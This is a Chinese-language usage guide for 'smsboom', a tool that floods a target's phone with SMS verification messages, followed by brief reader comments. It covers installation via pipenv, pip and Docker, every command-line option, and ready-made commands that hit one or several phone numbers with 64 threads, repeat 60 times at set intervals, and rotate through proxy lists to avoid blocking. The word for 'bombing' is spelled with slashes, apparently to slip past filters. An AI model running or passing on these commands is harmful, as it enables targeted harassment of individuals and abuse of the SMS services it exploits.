配置环境
前提条件: 请确保自己的电脑有 python3.x
的环境,推荐使用 3.8
及以上!
方案一: 有 Python3.8
环境的可以使用 pipenv
工具.
- 安装 pipenv 包管理工具.
pip install pipenv
- 为项目构建虚拟环境.
pipenv install # 仅使用轰//炸功能
pipenv install --dev # 使用 webui 调试接口功能.
- 尝试运行 smsboom.py
pipenv shell # 激活虚拟环境
python smsboom.py # linux
若无报错,输出帮助信息,则说明环境已经正确安装。若报错请使用方案二
方案二: 只有 Python3.X
环境的需要使用原生 pip
工具.
- 安装所需要的库
pip install -r requirements.txt # 仅使用轰//炸 pip install -r requirements-dev.txt # 使用 webui
- 尝试运行 smsboom.py
python smsboom.py
若无报错,输出帮助信息,则说明环境已经正确安装。
使用 Docker 运行
方式一: 一键运行
docker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1
方式二: 自建镜像
前提条件: 请确保当前环境已安装 Docker.
- 构建镜像
docker build -t whalefell/smsboom .
- 尝试运行
docker run --rm whalefell/smsboom:latest --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
asyncrun 以最快的方式请求接口(真异步百万并发)
onerun 单线程(测试使用)
run 传入线程数和手机号启动轰炸,支持多手机号
update 从 github 获取最新接口
运行
若使用虚拟环境,请先激活. pipenv shell
# 输出帮助信息
python smsboom.py --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
run 传入线程数和手机号启动轰//炸,支持多手机号
update 从 github 获取最新接口
启动轰//炸
帮助信息:
python smsboom.py run --help
Usage: smsboom.py run [OPTIONS]
传入线程数和手机号启动轰//炸,支持多手机号
Options:
-t, --thread INTEGER 线程数(默认64)
-p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
-f, --frequency INTEGER 执行次数(默认1次)
-i, --interval INTEGER 间隔时间(默认60s)
-e, --enable_proxy BOOLEAN 开启代理(默认关闭)
--help Show this message and exit.
使用代理
本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理.
将代理添加到 http_proxy.txt
socks4_proxy.txt
socks5_proxy.txt
三个文件中, 命令参数添加 -e
执行即可.
命令示例
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。
python smsboom.py run -t 64 -p 198xxxxxxxx
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次
python smsboom.py run -t 64 -p 198xxxxxxxx -f 60
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒
python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸
python smsboom.py run -t 64 -p 198xxxxxxxx -f 60 -i 30 -e
启动64个线程,轰//炸多个人的手机号(198xxxxxxxx,199xxxxxxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸
python smsboom.py run -t 64 -p 198xxxxxxxx -p 199xxxxxxxx -f 60 -i 30 -e
Development
程序提供接口调试工具,但目前还不完善,欢迎前端大佬 PR。
调试工具以 Flask
为后端,vue
为前端,实现前后端分离。
目前只有测试接口,添加接口的功能。
Flask 前端调试
前提是已经根据前文 Quick Start 的方式安装好 pipenv 环境
pipenv shell # 激活虚拟环境
python run_flask_app.py start -p 9090 # 监听9090端口
提示ModuleNotFoundError: No module named 'xxx' 可使用pip install model_name
运行帮助:
Usage: run_flask_app.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
init 初始化数据库
json2sqlite 将json数据转为sqlite数据库
sqlite2json 将sqlite数据转为json
start 启动 flask app
Usage: run_flask_app.py start [OPTIONS]
启动 flask app
Options:
-h, --host TEXT 监听地址
-p, --port INTEGER 监听端口
--help Show this message and exit.
默认监听 0.0.0.0:9090 地址,浏览器访问http://127.0.0.1:9090/admin/若无意外,就可以出现前端调试界面。


看看
看看
下载看看
这个怎么抓接口啊?
🐂币
装装逼
🐮逼
看看
[…] 最强短信轰炸软件项目源代码 […]